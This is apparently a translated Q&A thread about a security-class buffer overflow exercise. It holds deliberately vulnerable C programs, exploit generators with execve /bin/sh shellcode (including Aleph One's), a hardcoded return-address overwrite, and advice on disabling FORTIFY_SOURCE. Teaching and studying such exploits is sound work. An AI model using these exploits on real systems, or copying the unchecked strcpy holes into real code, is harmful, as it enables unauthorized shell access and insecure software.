5

仍在为安全类学习此缓冲区溢出内容,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

使用此漏洞利用应用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

出于某种原因,当我通过运行漏洞利用创建坏文件时,它不会向其推送任何内容。缓冲区为空或未正确写入。我似乎找不到我的错误,经过不知疲倦的谷歌搜索,我找不到足够的答案。根据我对我使用的填充缓冲区代码的理解,这应该用我的缓冲区地址填充 long_string,然后将我的 shellcode 放在 long_string 的开头(经过一点 NOOP 幻灯片),然后将 long_string 复制回缓冲区。我真的不认为这个或 fwrite 有任何问题。建议?

4

3 回答 3

0

那么,您需要了解粉碎堆栈的真正作用。它基本上粉碎了很多值并覆盖了一个特定的地址,该地址基本上是堆栈上的返回指针的地址($ebp + 4)。您肯定是在尝试破坏堆栈,但是您必须做很多事情才能准确了解需要用另一个指向您的 shellcode 的地址覆盖的地址。

http://www.phrack.com/issues.html?issue=49&id=14

目前你没有这两件事中的任何一件。

您应该使用 gdb 或其他工具来检查实际易受攻击代码的汇编代码并查看返回地址。基于此,您尝试使用命令行粉碎堆栈。

然后你运行你的漏洞利用代码而不破坏堆栈。尝试捕获实际的返回地址,你应该指向你放置 shellcode 的地方。

你应该按照 phrack 的阅读来真正理解粉碎堆栈的概念。希望有帮助!

于 2013-02-13T06:39:16.317 回答
0

您的代码中缺少一件非常重要的事情。我会让你自己发现,但我可能会通过查看我在一段时间前解决的一个非常简单的缓冲区溢出问题来帮助你。

考虑这是具有漏洞的目标代码 - 容易缓冲区溢出。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

以下是漏洞利用代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

看看我如何定义我的目标并使用它。

另外,我以前没见过那个 shell 代码。我使用以下(phrack)中的一个:

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

用你的代码检查它,让我知道它是否有效。

还:

strcpy(buffer,large_string);

无论您是否接受来自标准输入的 large_string,写这个都是不好的做法。

于 2013-02-13T05:53:34.183 回答
0
strcpy(buffer,large_string);

在测试期间您需要解决的一件事是这个函数调用。

memcpyFORTIFY_SOURCE 使用和等高风险函数的“更安全”变体strcpy。当编译器可以推断目标缓冲区大小时,它会使用更安全的变体。如果副本超出目标缓冲区大小,则程序调用abort().

要为您的测试禁用 FORTIFY_SOURCE,您应该使用-U_FORTIFY_SOURCE或编译程序-D_FORTIFY_SOURCE=0

于 2014-09-12T13:12:51.783 回答